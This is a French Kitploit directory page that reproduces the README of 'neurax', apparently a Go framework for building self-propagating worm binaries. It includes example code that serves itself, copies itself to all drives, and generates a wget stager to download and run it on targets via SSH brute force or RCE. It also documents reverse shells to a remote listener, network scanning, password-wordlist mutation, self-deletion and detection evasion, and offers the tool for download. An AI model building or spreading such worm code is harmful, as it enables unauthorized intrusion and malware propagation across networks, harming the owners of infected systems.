Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
neurax — Un framework pour construire des binaires auto-propagateurs | Kitploit
Outils/GitHubGitHub/redcode-labs/neurax
ReconnaissanceAttaques de Mots de PasseGénération de PayloadsMécanismes de PersistanceExploitationMouvement LatéralPost-ExploitationAnalyse de MalwareCommandement et ContrôleRed Teaming
GitHubredcode-labs/neurax

neurax

1.0k101il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

Un framework pour construire des binaires auto-propagateurs

Voir le dépôt
Partager



Neurax



Un framework qui facilite la création de logiciels auto-propagateurs



Aperçu

Avec l'aide de Neurax, les binaires Go peuvent se propager sur LAN/WAN sans utiliser de serveurs externes.

Des options de configuration variées et des stagers de commande permettent une propagation rapide dans divers environnements sans fil.

Exemple de code

root@kitploit:~
package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //Spécifie le port de service et le stager à utiliser
  Nrx.Config.Port = 5555
  Nrx.Config.Stager = "wget"

  //Démarre un serveur qui expose le binaire actuel en arrière-plan
  go NeuraxServer()
 
  //Copie le binaire actuel sur tous les lecteurs logiques
  NeuraxDisks()

  //Crée un stager de commande qui doit être lancé sur la machine cible
  //Il téléchargera, décodera et exécutera le binaire
  cmd_stager := NeuraxStager()

  /* Maintenant, vous devez exécuter d'une manière ou d'une autre la commande générée ci-dessus.
     Vous pouvez utiliser un brute-force SSH, une RCE ou tout ce que vous voulez ;> */

}



Nouveau dans v. 2.X (sous-projet séparé)

  • Refactorisation : abandon de l'approche framework au profit d'un binaire prêt à l'emploi
  • Stager générique wget pour toutes les cibles UNIX
  • Fichier de configuration unique pour ajuster le comportement du ver à la volée
  • Auto-suppression via unlinkat(2)
  • Exemple d'exploit CVE LinuxKI pour compléter les capacités de propagation réseau
  • Le fichier de configuration JSON est téléchargé et évalué
  • Réécriture minimaliste du récupérateur d'hôtes

Nouveau dans v. 2.5

  • Exécution optionnelle en arrière-plan du binaire de deuxième étape (N.StagerBg)
  • Le stager de commande sauvegarde et exécute dans un chemin local au contexte
  • Il supprime également le binaire téléchargé immédiatement après une exécution réussie
  • Suppression du mécanisme d'exécution synchronisée des commandes pour des raisons de rapidité/stabilité. Je trouverai une alternative convenable d'ici la prochaine version.
  • N.NoInfectCheck pour désactiver la vérification si l'hôte est déjà infecté.
  • Politique d'exécution unique sur la machine cible, appliquée avec un mutex de fichier exclusif placé dans NeuraxServer().
  • Ajout d'une goroutine imbriquée pour servir le binaire
  • Nouveau stager httrack pour Linux
  • Liste de mots commune commentée pour éviter la détection
  • Le stager de commande peut attendre avant de supprimer le binaire (N.StagerRemovalDelay)

Nouveau dans v. 2.0

  • Nouveaux mutateurs de liste de mots + mots de passe courants par pays
  • Scan passif improvisé
  • Option .FastScan qui rend les scans actifs un peu plus rapides
  • Les listes de mots sont créées strictement en mémoire
  • NeuraxScan() accepte une fonction de rappel au lieu d'un canal comme argument.
  • NeuraxScan() scanne en boucle infinie avec possibilité de définir un intervalle entre chaque scan de tout le sous-réseau/ensemble de cibles
  • Recherche DNS inverse pour les cibles qui ne sont pas au format IP
  • Extraction de cibles candidates depuis le cache ARP
  • Possibilité de scanner uniquement une liste sélectionnée de cibles + priorisation de cibles spécifiques (comme les passerelles par défaut)
  • Possibilité de spécifier l'interface et le délai d'attente lors de l'utilisation d'un scan réseau passif.
  • Stager de commande amélioré (peut être exécuté optionnellement avec privilèges élevés / plusieurs fois)
  • Quelques changements de noms d'options
  • NeuraxConfig. est devenu N. (car c'est plus court à taper)
  • Fonctions pour l'allocation aléatoire de mémoire + migration du binaire
  • Possibilité de chaîner plusieurs stagers (ex. wget + curl)
  • Le volume et la complexité de la liste de mots créée peuvent être facilement ajustés (avec des options comme .WordlistExpand)
  • Possibilité de définir la durée de vie du binaire créé

Liste des entrées de configuration

Trouver de nouvelles cibles

La fonction NeuraxScan(func(string)) permet la détection des hôtes actifs sur le réseau local. Son seul argument est une fonction de rappel qui est appelée en arrière-plan pour chaque hôte actif. Un hôte est considéré comme actif lorsqu'il a au moins 1 port ouvert, n'est pas déjà infecté et remplit les conditions spécifiées dans N.

NeuraxScan() s'exécute en boucle infinie - elle scanne tout le sous-réseau spécifié par l'entrée de configuration .Cidr et lorsque chaque hôte est scanné, la fonction dort pendant un intervalle donné dans .ScanInterval.

Infection des disques

Le binaire Neurax n'a pas besoin de se copier par voie sans fil. La fonction NeuraxDisks() copie le binaire actuel (sous un nom non suspect) vers tous les lecteurs logiques trouvés. Le binaire copié n'est pas exécuté, mais réside simplement dans sa destination en attendant d'être lancé. NeuraxDisks() retourne une error si la liste des disques ne peut être obtenue ou si la copie vers une destination quelconque était impossible.

Une autre fonction, NeuraxZIP(num_files int) err permet de créer une archive .zip nommée aléatoirement contenant le binaire actuel. Elle est sauvegardée dans le répertoire courant et contient jusqu'à num_files fichiers aléatoires.

NeuraxZIPSelf() zippe simplement le binaire actuel, créant une archive portant le même nom.

Connexions inversées

Un shell inversé interactif peut être établi avec NeuraxReverse(). Elle recevra des commandes depuis le nom d'hôte spécifié dans .ReverseListener sous la forme "<host>:<port>". Le protocole utilisé est défini dans .ReverseProto. Si NeuraxOpenComm() a été démarré avant d'appeler cette fonction, chaque commande se comportera comme décrit dans la section ci-dessus. Si ce n'est pas le cas, les commandes seront exécutées localement.

Remarque : cette fonction doit également être exécutée en tant que goroutine pour éviter le blocage dû à la boucle infinie utilisée pour la réception.

Nettoyage

Chaque fois qu'une commande "purge" est reçue par un nœud, il renvoie cette commande à tous les autres nœuds, se supprime de l'hôte et quitte. Ce comportement peut également être déclenché en utilisant NeuraxPurge() exécutée quelque part dans le code source.

Création de liste de mots

Si votre vecteur de propagation est basé sur une forme de brute-force, il est bon d'avoir une liste de mots appropriée préparée. Stocker des mots dans un fichier texte côté client n'est pas vraiment efficace, vous pouvez donc muter une liste de mots de base en utilisant NeuraxWordlist(...words) []string. Pour permuter un ensemble de mots donnés, utilisez NeuraxWordlistPermute(..words) []string.

Définir une durée de vie

Si vous voulez que votre binaire se supprime après un certain temps, utilisez NeuraxSetTTL() au début de votre code. Cette fonction doit être lancée en tant que goroutine. Par exemple :

go NeuraxSetTTL("2m")

fera en sorte que le binaire exécute NeuraxPurgeSelf() 2 minutes après l'exécution initiale.

Utiliser plusieurs stagers à la fois

Si vous souhaitez chaîner tous les stagers disponibles pour une plateforme donnée, définissez .Stager sur "chain".

Déplacer le binaire déposé

Si vous devez copier le binaire après l'exécution initiale, utilisez NeuraxMigrate(path string). Il copiera le binaire sous path, supprimera le binaire actuel et exécutera celui qui vient d'être migré.

Soutenez cet outil

Si vous aimez ce projet et souhaitez le voir grandir, merci d'envisager de faire un petit don :>

>>>>> FAIRE UN DON <<<<<

Licence

Ce logiciel est sous licence MIT

Télécharger l’outil
NomDescriptionValeur par défaut
Nrx.Config.StagerNom du stager de commande à utiliseraléatoire, compatible avec la plateforme
Nrx.Config.StagerSudoSi vrai, les stagers de commande Linux sont exécutés avec privilèges élevésfalse
Nrx.Config.StagerRetryNombre de fois pour réexécuter le stager de commande0
Nrx.Config.StagerRemoveDelayUne instruction Sleep est appliquée avant de supprimer le binaire téléchargétrue
Nrx.Config.PortPort sur lequel servir6741
Nrx.Config.PlatformPlateforme cibledétectée automatiquement
Nrx.Config.PathChemin sous lequel le binaire est sauvegardé sur l'hôte.
Nrx.Config.FileNameNom sous lequel le binaire téléchargé doit être servi puis sauvegardéaléatoire
Nrx.Config.Base64Coder le binaire transféré en base64false
Nrx.Config.CommPortPort utilisé par les binaires pour communiquer entre eux7777
Nrx.Config.CommProtoProtocole de communication entre les nœuds"udp"
Nrx.Config.ReverseListenerContient "<host>:<port>" du gestionnaire de shell inversé distantnon spécifié
Nrx.Config.ReverseProtoProtocole à utiliser pour la connexion inversée"udp"
Nrx.Config.ScanRequiredPortNeuraxScan() considère l'hôte comme actif seulement s'il a un port spécifique ouvertaucun
Nrx.Config.ScanPassiveNeuraxScan() détecte les hôtes en utilisant la surveillance passive du trafic ARPfalse
Nrx.Config.ScanPassiveTimeoutNeuraxScan() surveille la couche ARP pendant ce nombre de secondes50 secondes
Nrx.Config.ScanPassiveIfaceInterface à utiliser lors du scan passifpar défaut
Nrx.Config.ScanActiveTimeoutNeuraxScan() définit cette valeur comme délai d'attente pour le port scanné dans chaque thread2 secondes
Nrx.Config.ScanPassiveAllNeuraxScan() capture les paquets sur tous les périphériques trouvésfalse
Nrx.Config.ScanPassiveNoArpLe scan passif ne définit pas de filtre de capture ARP strictfalse
Nrx.Config.ScanFirstUne slice contenant les adresses IP à scanner en premier[]string{}
Nrx.Config.ScanFirstOnlyNeuraxScan() scanne uniquement les hôtes spécifiés dans .ScanFirstfalse
Nrx.Config.ScanArpCacheNeuraxScan() scanne d'abord les hôtes trouvés dans le cache ARP local. Fonctionne uniquement avec le scan actiffalse
Nrx.Config.ScanCidrNeuraxScan() scanne ce CIDRIP locale + "\24"
Nrx.Config.ScanActiveThreadsNombre de threads à utiliser pour NeuraxScan()10
Nrx.Config.ScanFullRangeNeuraxScan() scanne tous les ports de l'hôte cible pour déterminer s'il est actifde 19 à 300
Nrx.Config.ScanIntervalIntervalle de temps pour dormir avant de scanner à nouveau tout le sous-réseau"2m"
Nrx.Config.ScanHostIntervalIntervalle de temps pour dormir avant de scanner l'hôte suivant en mode actif"none"
Nrx.Config.ScanGatewayFirstLa passerelle est le premier hôte scanné lorsqu'un scan actif est utiliséfalse
Nrx.Config.VerboseSi vrai, tous les messages d'erreur sont affichés sur STDOUTfalse
Nrx.Config.RemoveLorsque des erreurs se produisent, le binaire se supprime lui-même de l'hôtefalse
Nrx.Config.PreventReexecSi vrai, lorsqu'une commande correspond à des commandes déjà reçues auparavant, elle n'est pas exécutéetrue
Nrx.Config.WordlistExpandNeuraxWordlist() effectue des transformations non standard sur les mots d'entréefalse
Nrx.Config.WordlistCommonPréfixer les 20 mots de passe les plus courants à la liste de motsfalse
Nrx.Config.WordlistCommonNumNombre de mots de passe courants à utilisertous
Nrx.Config.WordlistCommonCountriesUne map[string]int contenant les codes pays et le nombre de mots de passe à utilisermap[string]int
Nrx.Config.WordlistMutatorsMutateurs à utiliser lorsque .WordlistExpand est spécifié{"single_upper", "cyryllic", "encapsule"}
Nrx.Config.WordlistPermuteNumLongueur maximale de la permutation générée par NeuraxWordlistPermute()2
Nrx.Config.WordlistPermuteSeparatorUn caractère séparateur à utiliser pour les permutations"-"
Nrx.Config.WordlistShuffleMélanger la liste de mots générée avant de la retournerfalse
Nrx.Config.AllocNumCette entrée définit combien de fois NeuraxAlloc() alloue de la mémoire aléatoire5
Nrx.Config.BlacklistSlice contenant les adresses IP exclues de tout type de scan[]string{}
Nrx.Config.FastHTTPLa requête HTTP dans IsHostInfected() est effectuée en utilisant la bibliothèque fasthttpfalse
Nrx.Config.DebugActiver les messages de débogagefalse
Nrx.Config.NoInfectCheckDésactiver la vérification si l'hôte est déjà infectétrue